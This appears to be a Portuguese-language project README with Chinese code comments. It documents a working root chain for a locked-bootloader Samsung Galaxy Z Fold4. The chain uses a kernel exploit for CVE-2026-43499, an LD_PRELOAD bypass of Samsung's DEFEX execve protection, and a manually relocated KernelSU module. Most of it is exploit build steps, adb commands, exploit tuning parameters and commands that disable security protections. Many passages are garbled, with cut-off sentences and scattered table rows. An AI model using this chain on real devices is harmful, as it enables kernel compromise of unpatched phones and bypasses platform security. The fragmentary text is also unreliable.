
SM-F9360 (Galaxy Z Fold4, q4q) root via KernelSU com bootloader bloqueado — root temporário via CVE-2026-43499 → bypass do DEFEX via LD_PRELOAD → kernelsu.ko com clang-12 sem LTO. Verificado no dispositivo em 2026-08-12.
Root temporário via CVE-2026-43499 → canal LD_PRELOAD contornando o DEFEX → kernelsu.ko sem LTO com clang-12 → su + KernelSU Manager com todos os recursos
Status: ✅ Verificação em dispositivo real concluída em 2026-08-12 (firmware
F9360ZCSAIZF1, kernel5.10.236-android12-9-2755199-abF9360ZCSAIZF1)Este projeto documenta o fluxo completo e reproduzível para obter root via KernelSU em um dispositivo Samsung com Bootloader bloqueado: sem desbloquear o BL, sem flashar boot.img, sem Odin.
TL;DR (Português): Este repositório documenta um caminho de jailbreak totalmente verificado em dispositivo real para um Samsung Galaxy Z Fold4 com bootloader bloqueado (SM-F9360, SM8450, kernel 5.10.236, firmware F9360ZCSAIZF1): uma cadeia de exploração da CVE-2026-43499 (UAF do rtmutex, corrigida no firmware de julho de 2026) concede root temporário no domínio do kernel; um .so de constructor via LD_PRELOAD personalizado contorna o interceptador de execve do DEFEX da Samsung para chamar init_module() em um LKM do KernelSU compilado com a toolchain exata do dispositivo (AOSP clang 12.0.5 r416183b) e com LTO desabilitado — os dois fatores que tornam o módulo carregável e o init executável neste kernel endurecido com CFI/LTO. Resultado: su funciona (uid=0, context=u:r:ksu:s0) e o KernelSU Manager v3.2.5 reconhece o kernel. O root é apenas em memória: cada reinicialização exige reexecutar o exploit (~3 min, com script). Todas as armadilhas e becos sem saída (fake exports, patch de CRC, ksud late-load, layout de function-sections do LTO) estão documentados abaixo.
Limitação essencial: BL bloqueado → root é puramente em memória. Após cada reinicialização é preciso reexecutar o exploit + recarregar o módulo (fluxo completo de ~3 minutos, já com script). O daemon em userspace ksud não pode ser implantado (o DEFEX bloqueia execve, ver §10-4), mas su / supercall / Manager são tratados diretamente pelo sucompat do kernel, sem depender do ksud.
Aviso: rmmod kernelsu faz o dispositivo entrar em panic e reiniciar imediatamente (o RKP protege o caminho de restauração da syscall table na memória) — nunca descarregue.
fastboot oem unlock não existe; qualquer root persistente (magisk/patch de kernel) exige flashar boot.img, e o BL bloqueado rejeita qualquer imagem autoassinada.CONFIG_CFI_CLANG=y + Full LTO. A única fonte de mod->init é o slot __cfi_jt_init_module da CFI jump-table; chamadas indiretas precisam passar pelo entry .cfi_jt, caso contrário a verificação CFI causa panic direto.__ksymtab; um insmod comum não consegue resolvê-los (Unknown symbol).IGNORE_MODVERSIONS/IGNORE_VERMAGIC caem todos no beco sem saída .sarabpal-dev/IonStack-S22U (b0q / S22U, rota exp32)..so de constructor via LD_PRELOAD é o único canal isento para executar código arbitrário no domínio root.ksud late-load) foi projetado para dispositivos com BL bloqueado: sem flashar o boot, init_module direto em runtime.┌─ Layer 1: CVE-2026-43499 临时 root
│ ionstack-q4q exploit(KASLR 泄漏 → mm reclaim → exp32 32-bit 栈 stamp
│ → CFI r/w → pipe physrw → UMH root daemon)
│ → /data/local/tmp/cve-2026-43499-root -c '<cmd>' = kernel:s0 域 root 命令通道
│
├─ Layer 2: LD_PRELOAD .so 加载通道(DEFEX 绕过)
│ DEFEX 拦截 kernel 域 execve 任何新 ELF(Killed);LD_PRELOAD 的 constructor
│ 执行豁免 → ksu-load.so 在 /system/bin/true 进程内:
│ 读 ko → /proc/kallsyms 手工重定位 201 个 UND 符号(SHN_ABS + st_value=绝对地址)
│ → vermagic patch(旧版需要)→ init_module() → 成功
│
└─ Layer 3: KernelSU 内核模块(无 LTO clang-12 版)
init 完整执行 15 mark 全绿 → sucompat (allow_shell=1) + supercall 可用
Firmware diferente = kallsyms / layout / vermagic diferentes; é preciso reajustar o target.h e recompilar. Ver §11.
clang-14/15 + clang-12 / lld-12 dos repositórios focal (/usr/bin/clang-12, /usr/bin/ld.lld-12)CC=clang HOSTCC=clang LD=ld.lld-12FryUpDoe/android_kernel_samsung_q4q (opensource.samsung.com tem anti-raspagem do Cloudflare)O exploit é baseado no sarabpal-dev/IonStack-S22U (base GREEN verificada em dispositivo real para SM8450 5.10, rota exp32). A adaptação para o q4q = patches/ionstack-q4q-adapt.patch dentro do repositório (249 linhas, cobrindo parâmetros do target.h, kernelsnitch, root.c etc.).
export ANDROID_NDK_HOME=$HOME/Projects/f9360-root/tools/android-ndk-r29
cd work/ionstack-q4q # IonStack-S22U clone + 本 patch
make PROJECT=q4q-F9360ZCSAIZF1 # 注意变量名是 PROJECT= 不是 TARGET=
Parâmetros-chave do q4q (já ajustados; não alterar):
Produz 3 binários (build/q4q-F9360ZCSAIZF1/): preload .so, app .so, PIE do root helper. O teste real no dispositivo precisa ser feito sob carga baixa (loadavg < 2.5, aguarde 1–2 minutos após ligar); sob carga alta, a tempestade de forks do exploit (~544 threads + 1024 threads futex park) é silenciosamente morta com SIGKILL pelo LMKD.
Esta é a receita reproduzível mais central deste projeto. Primeiro a teoria, depois os comandos.
__cfi_check_fail no dispositivo → panic direto (sem CFI_PERMISSIVE). O clang-12 do Ubuntu e o clang-12 do AOSP também têm pequenas diferenças de comportamento, mas com o CFI desligado (ver abaixo) a diferença deixa de ser fatal.CONFIG_LTO_CLANG_THIN=y → layout fragmentado por -ffunction-sections (447 pequenos segmentos ALLOC, .text=0) → qualquer versão (até o stub) causa panic do kernel ao carregar. O ko oficial tem layout tradicional (22 segmentos) → sempre carrega. Recompilar com o LTO desligado → sucesso de primeira.__cfi_check → mod->cfi_check=NULL → o registro do shadow no cfi_init é pulado → as chamadas não passam pela verificação CFI. Mas atenção: a única fonte de mod->init é o slot CFI jt __cfi_jt_init_module (kernel/module.c cfi_init()) — (falso sucesso!). O clang-12 gera naturalmente o slot , sem objcopy manual.# 1) 禁 per-task sysreg stack guard(Ubuntu clang-12 不支持 -mstack-protector-guard=sysreg)
# arch/arm64/Makefile: ifeq ($(CONFIG_STACKPROTECTOR_PER_TASK),y) → ifeq (n,y)
# 模块 stack protector 回退全局 __stack_chk_guard(kallsyms 有导出,安全)
# 2) .config 与 include/config/auto.conf 同步修改(auto.conf 是 make 实际读的):
# CONFIG_LTO_CLANG_THIN=y → # CONFIG_LTO_CLANG_THIN is not set
# CONFIG_LTO_CLANG=y → not set
# CONFIG_LTO=y → not set
# CONFIG_LTO_NONE=y
# CONFIG_CFI_CLANG=y / CONFIG_CFI_CLANG_SHADOW=y → not set
# + CONFIG_SECTION_MISMATCH_WARN_ONLY=y
# (jt 槽 .data→.init 引用会被 modpost 拦成 ERROR,必须开)
# 3) KSU 源码就位 drivers/kernelsu/
# (KernelSU v3.2.5 + BuSung samsung-kdp-rkp-defex patch;Kconfig/Makefile 已接入)
docker exec ksu-build bash -c "cd /kernel && find drivers/kernelsu -name '*.o' -delete; \
make M=drivers/kernelsu LD=ld.lld-12 CC=clang-12 CONFIG_KSU=m \
CONFIG_KSU_SAMSUNG_KDP=y CONFIG_KSU_SAMSUNG_RKP=y CONFIG_KSU_SAMSUNG_DEFEX=y \
CONFIG_KSU_SAMSUNG_NO_PATCH_TEXT=y modules"
⚠️ Limpar os
.oé obrigatório: o cache de.onão é reconstruído automaticamente quando o.configmuda; artefatos residuais de function-sections causam falso sucesso/falso crash.
# .text 是统一段(~0x1133c),不是 function-sections 拆分布局
llvm-readelf -S kernelsu.ko | grep -c '\.text\.' # 应为 0
# jt 槽存在(mod->init 唯一来源)
llvm-nm kernelsu.ko | grep __cfi_jt_init_module # D __cfi_jt_init_module
# vermagic 精确匹配设备(用设备树编的天然匹配,无需 patch)
modinfo kernelsu.ko | grep vermagic
# 201 个 UND 符号、无 __cfi_check(模块不参与 CFI shadow)
llvm-readelf -s kernelsu.ko | grep -c UND
llvm-nm kernelsu.ko | grep __cfi_check # 应为空
A versão que funcionou está em release/kernelsu-c12-nolto.ko (verificação via SHA256SUMS).
Semântica do DEFEX (conclusões de mapeamento obtidas em testes reais, que derrubam o conhecimento antigo da comunidade):
Portanto, o fluxo nativo do ksud não funciona na Samsung (exec no domínio kernel é bloqueado; o domínio shell não tem permissão). Carregador próprio = loader/ksu-load.c (macro KSU_LOAD_AS_SO = versão constructor):
$KSU_KO_PATH/proc/kallsyms (antes, via canal root: echo 0 > /proc/sys/kernel/kptr_restrict).symtab: consulta o endereço absoluto no kallsyms → SHN_ABS + st_value=地址
patched=201 missing=0 = resolução completafind_symbol()/check_version() → as duas paredes TRIM_UNUSED_KSYMS e modversions CRC desaparecem ao mesmo tempoKSU_VERMAGIC_PATCH=1 (necessário para kos antigos): encurtar scmversion/author/description do .modinfo para abrir bytes no lugar → gravar a string vermagic exata do dispositivo (a versão sem LTO tem vermagic com correspondência automática, não precisa)init_module(fd, params) → log gravado em /data/local/tmp/ksu-load.log (stderr sem buffer, não perde log em caso de crash)$ANDROID_NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android30-clang \
-shared -fPIC -O2 -DKSU_LOAD_AS_SO -o ksu-load.so ksu-load.c
adb -s RFCW31TJJ0T push release/kernelsu-c12-nolto.ko /data/local/tmp/
adb -s RFCW31TJJ0T push release/ksu-load.so /data/local/tmp/
adb -s RFCW31TJJ0T push build/q4q-F9360ZCSAIZF1/cve-2026-43499-app.so /data/local/tmp/
adb -s RFCW31TJJ0T push build/q4q-F9360ZCSAIZF1/cve-2026-43499-root /data/local/tmp/
# panic 会清零 F2FS 页缓存 —— 每次 panic 后必须 MD5 重新核对/重推
# 重启后必须等 loadavg < 2.5(watch /proc/loadavg)再跑,高负载必失败
adb -s RFCW31TJJ0T shell "
pkill -9 -f 'cve-2026-43499'; # 清残留(⚠️ 勿在 root daemon 活着时用,会误杀通道)
cd /data/local/tmp
KSU_LOAD_ONLY=1 EXP32_STAMP_OFF=0x58 EXPLOIT_ATTEMPTS=3 \
LD_PRELOAD=/data/local/tmp/cve-2026-43499 nohup sh -c 'sleep 3600' > exp.log 2>&1
"
adb -s RFCW31TJJ0T shell "/data/local/tmp/cve-2026-43499-root -c 'id'"
# → uid=0(root) gid=0(root) context=u:r:kernel:s0
adb -s RFCW31TJJ0T shell "
timeout 10 cve-2026-43499-root -c 'echo 0 > /proc/sys/kernel/kptr_restrict'
timeout 60 cve-2026-43499-root -c 'sh -c \"KSU_KO_PATH=/data/local/tmp/kernelsu-c12-nolto.ko \
KSU_KO_PARAMS=allow_shell=1 LD_PRELOAD=/data/local/tmp/ksu-load.so \
/system/bin/true > /data/local/tmp/ksu-load.log 2>&1\"'
"
cat /data/local/tmp/ksu-load.log
# 成功标志: patched=201 missing=0 | KernelSU loaded OK (manual relocation, 201 symbols)
adb -s RFCW31TJJ0T shell "cat /proc/modules | grep kernelsu"
# → kernelsu 147456 0 - Live (O)
# 1. KSU init 15 mark(/data/local/tmp/ksu-init.log):
# entry → resolver-ok → kdp-ok → cred-ok → defex-ok → syscallhook-ok
# → features-ok → supercalls-ok → rules-ok → cachesid-ok → setupcred-ok
# → escape-ok → allowlist-ok → hookmanager-ok → late-done
# 2. su:
adb -s RFCW31TJJ0T shell "su -c id"
# → uid=0(root) gid=0(root) groups=0(root) context=u:r:ksu:s0
# 3. KSU Manager v3.2.5 主页显示:
# 「内核版本 5.10.236-android12-9-2755199-abF9360ZCSAIZF1」= supercall 通过
# SELinux 强制执行 + Seccomp 过滤模式下正常工作
# 1. 重启 → 等 loadavg < 2.5
# 2. 跑 §8.2 exploit(一次成功率高)→ 验证 root
# 3. 跑 §8.3 加载 → 验证 /proc/modules
# 4. su 可用 + Manager 识别
# 全流程 ~3 分钟。scripts/restore-root.sh 为半自动模板。
__jump_table/.altinstructions/.note.gnu.property) também existem no oficial → única diferença = layout fragmentado por function-sections (nosso ko com 447 segmentos ALLOC vs 22 do oficial).CONFIG_LTO_CLANG_THIN + limpar .o e recompilar → layout tradicional → carregamento OK de primeira, 15 marks do init todos verdes..o não é reconstruído quando o .config muda; ao mudar a configuração é obrigatório find drivers/kernelsu -name '*.o' -delete.mod->init = slot CFI jtkernel/module.c cfi_init(): mod->init = *find_kallsyms_symbol_value(mod, "__cfi_jt_init_module"). Um ko de build sem CFI e sem slot jt → mod->init=NULL → do_init_module é pulado → o módulo fica "Live" mas o init nunca executa (ksu_cred não é criado, hooks não são registrados — a raiz de todos os fenômenos anteriores de "casca vazia Live"). O clang-12 gera o slot jt naturalmente; o -fsanitize=cfi do clang-14 gera, mas o LTO descarta na linkagem (beco sem saída).
O /proc/version do dispositivo = Android (7284624, based on r416183b) clang version 12.0.5. Kos compilados com clang-15/18 dão __cfi_check_fail no dispositivo → panic e sem CFI_PERMISSIVE. Consulte o /proc/version e use o compilador da mesma geração. Download do AOSP clang r416183b (446MB): https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86/+archive/refs/heads/android12-release/clang-r416183b.tar.gz (o branch precisa ser android12-release; a versão x86_64 não roda em container arm64). O clang-12 do Ubuntu exige desabilitar o sysreg guard no Makefile da Samsung (ver §6).
Veja a tabela do §7. Núcleo: o constructor via LD_PRELOAD é o único canal isento; rebaixar o domínio com setexeccon é inútil; a rota ksud late-load está descartada, use o carregador próprio. O libksud.so (versão do ksud como biblioteca embutida no Manager) pode ser iniciado a partir do domínio app, mas o seccomp bloqueia a syscall 142; não chegou a ser explorado.
CONFIG_MODULE_FORCE_LOAD=n → os flags IGNORE_VERMAGIC/IGNORE_MODVERSIONS caem todos em try_to_force_load() → beco sem saída ENOEXEC. O vermagic do dispositivo tem o sufixo LOCALVERSION (-2755199-abF9360ZCSAIZF1); um ko compilado com a árvore do dispositivo (SUBLEVEL/EXTRAVERSION/LOCALVERSION corretos) tem correspondência exata natural. Módulos com __versions vazio (estilo oficial do KSU) usam comparação de string completa em same_magic — precisa ser idêntico caractere por caractere.
find_collisions com a mesma contagem de bytes). Espere a carga baixar para rodar./data/local/tmp podem ser zerados — após um panic, confira o MD5 de todos os binários.pkill -9 -f cve-2026-43499 mata o root daemon por engano: o canal root também se vai; é preciso reiniciar e refazer tudo.set_unbuffer() (incluído na toolchain do kernelsu) é chamado em run_exploit, mas nunca tinha sido chamado antes.echo 0 > /proc/sys/kernel/kptr_restrict; o carregador precisa pular linhas com addr==0.put_cred comum escreve na cred do KDP → abort externo síncrono com panic.F9360ZCSAIZF1. Para outros firmwares é necessário:
vmlinux-to-elf + llvm-nm);tools/generate_p0_fingerprint.pl);0xa8000000 é uma convenção de longo ciclo de vida; muito provavelmente não precisa mudar.BuSung-dev/Root-My-Galaxy / Root-My-Galaxy-Payloads (exploit original e framework de payloads)sarabpal-dev/IonStack-S22U — base de port GREEN em dispositivo real para SM8450 5.10 (rota exp32); o exploit deste projeto é diretamente baseado neletiann/KernelSU v3.2.5 — modo jailbreak (ksud late-load) + o próprio móduloKernelSU-v3.2.5-samsung-kdp-rkp-defex.patch do BuSung — adaptação para KDP/RKP/DEFEX da Samsungxunchahaha/mi_nobl_root — implementação de referência em Python da ideia do patch SHN_ABSFryUpDoe/android_kernel_samsung_q4q — espelho do código-fonte do kernelEste projeto é exclusivamente para pesquisa de segurança e testes em dispositivos próprios. Explorar uma vulnerabilidade conhecida (CVE-2026-43499) em um dispositivo com BL bloqueado para contornar mecanismos de segurança da plataforma pode violar os termos de garantia e de serviço do dispositivo. Todo risco é por sua conta: panic do kernel, perda de dados e dispositivo brickado (baixa probabilidade, mas existe) são de responsabilidade do usuário. Não use em dispositivos não autorizados. A CVE já foi corrigida no upstream em 2026-07; atualize o firmware o quanto antes.
LICENÇA: o código próprio do repositório (loader/ksu-load.c, scripts/, este documento) é MIT; release/kernelsu-c12-nolto.ko é derivado do KernelSU e do código-fonte do kernel da Samsung, ambos GPL-2.0; patches/ionstack-q4q-adapt.patch segue a licença do projeto upstream.
| Item | Status |
|---|
Root temporário (domínio do kernel kernel:s0) | ✅ Alcançado de forma estável (9 sucessos consecutivos) |
Carregamento do módulo KernelSU (init_module) | ✅ kernelsu ... Live (O) |
| Execução completa do init do KSU | ✅ 15 marks de instrumentação todos verdes |
Comando su | ✅ uid=0(root) gid=0(root) context=u:r:ksu:s0 |
| KernelSU Manager v3.2.5 | ✅ Reconhece a versão do kernel (detecção via supercall aprovada); funciona em modo enforcing do SELinux |
| Desbloqueio do bootloader | ❌ Não necessário |
| Flashar/modificar partições | ❌ Não necessário |
try_to_force_load()| Item | Valor |
|---|
| Modelo | SM-F9360 (Galaxy Z Fold4, q4q) |
| SoC | SM8450 (Snapdragon 8+ Gen 1) |
| Firmware | F9360ZCSAIZF1 (build ≤ 2026-06, contém a CVE) |
| Kernel | 5.10.236-android12-9-2755199-abF9360ZCSAIZF1 |
| Compilador do dispositivo | AOSP clang 12.0.5 (r416183b, c935d99d7cf) (confirmado via /proc/version) |
| Vermagic exato | 5.10.236-android12-9-2755199-abF9360ZCSAIZF1 SMP preempt mod_unload modversions aarch64 |
| Parâmetro | Valor | Por quê |
|---|
P0_KERNEL_PHYS_LOAD | 0xa8000000 | Valor de dispositivo real do b0q/S22U (convenção de toda a família SM8450; 0x80080000 é falso positivo de mau alinhamento) |
APP_KERNEL_PAGE_KSNITCH_IDENTITY_END | 0xffffff8b00000000 (44GB) | A memória do dispositivo está espalhada entre phys 33,8–39,5GB; a janela de 2GB (copiada do e2s) nunca encontra |
KERNELSNITCH_FUTEX_HASH_SIZE | 2048 | O kernel roundup_pow2(256*8)=2048; o padrão 4096 faz todo o mm leak falhar |
KERNELSNITCH_MTE_ENABLED | 0 | Kernel de produção kasan=off, MTE não ativado |
EXP32_STAMP_OFF | 0x58 | Derivado por desmontagem (os frames de futex_wait_requeue_pi e do compat do_ipv6_setsockopt do b0q/q4q são idênticos) |
fork 32→16 grupos / APPENDED_FUTEXES 4096→1024 | — | Reduz a carga do sistema, evita SIGKILL do LMKD |
KSU_LOAD_ONLY=1 (root.c) | — | Pula fake_exports (substituído pela relocação manual do ksu-load.so) |
D __cfi_jt_init_module| Caminho de execução | Resultado |
|---|
| Domínio shell (adb) exec novo ELF | ✅ Liberado (mas sem root: sem CAP_SYS_MODULE / CAP_CHOWN) |
| Domínio kernel:s0 exec novo ELF | ❌ Killed (o DEFEX bloqueia a fuga do domínio privilegiado) |
| exec após rebaixar o domínio com setexeccon | ❌ Ainda Killed (o DEFEX rastreia a própria cadeia LD_PRELOAD, independente do domínio) |
| constructor .so via LD_PRELOAD carregado em binário existente | ✅ Liberado (único canal de execução de código no domínio root) |
| UMH spawn (root daemon do exploit) | ✅ Liberado |
rmmod kernelsu sempre causa panic (§1).CC=clang HOSTCC=clang LD=ld.lld-12; caso contrário, o cc-wrapper dá execvp gcc Error 255.